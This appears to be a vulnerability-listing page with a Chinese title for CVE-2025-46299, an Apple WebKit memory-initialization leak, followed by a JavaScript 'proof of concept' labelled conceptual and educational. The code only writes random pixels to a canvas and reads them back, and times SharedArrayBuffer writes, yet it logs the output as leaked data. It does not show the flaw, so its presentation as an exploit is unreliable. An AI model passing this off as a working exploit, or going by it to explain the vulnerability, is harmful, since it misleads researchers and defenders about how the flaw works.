CVE-2025-46299 Apple多产品内存初始化漏洞导致内部状态信息泄露

// CVE-2025-46299 PoC - Memory Initialization Issue in Apple WebKit // Note: This is a conceptual PoC for educational purposes only // Method 1: Using Canvas to trigger memory operations function triggerMemoryLeak() { const canvas = document.createElement('canvas'); canvas.width = 1000; canvas.height = 1000; const ctx = canvas.getContext('2d'); // Create specific patterns to trigger memory initialization for (let i = 0; i < 100; i++) { const imageData = ctx.createImageData(100, 100); // Access pixel data to trigger memory allocation for (let j = 0; j < imageData.data.length; j++) { imageData.data[j] = Math.random() * 255; } ctx.putImageData(imageData, Math.random() * 900, Math.random() * 900); } // Try to extract potential leaked data setTimeout(() => { const extractedData = []; for (let i = 0; i < 10; i++) { const newCanvas = document.createElement('canvas'); const newCtx = newCanvas.getContext('2d'); newCtx.drawImage(canvas, 0, 0); const data = newCtx.getImageData(0, 0, 100, 100).data; // Check for unusual patterns indicating memory leak extractedData.push(Array.from(data.slice(0, 16))); } console.log('Potential leaked data:', extractedData); }, 1000); } // Method 2: Using SharedArrayBuffer and timing attacks async function timingAttackPoC() { if (!crossOriginIsolated) { console.log('Requires cross-origin isolation'); return; } const buffer = new SharedArrayBuffer(1024); const view = new Uint8Array(buffer); // Trigger memory operations for (let i = 0; i < 1000; i++) { view[i % 1024] = Math.floor(Math.random() * 256); } // Measure timing to detect memory state const timings = []; for (let i = 0; i < 100; i++) { const start = performance.now(); view[0] = 1; const end = performance.now(); timings.push(end - start); } console.log('Timing analysis:', timings); } // Execute PoC document.addEventListener('DOMContentLoaded', () => { console.log('CVE-2025-46299 PoC loaded'); triggerMemoryLeak(); });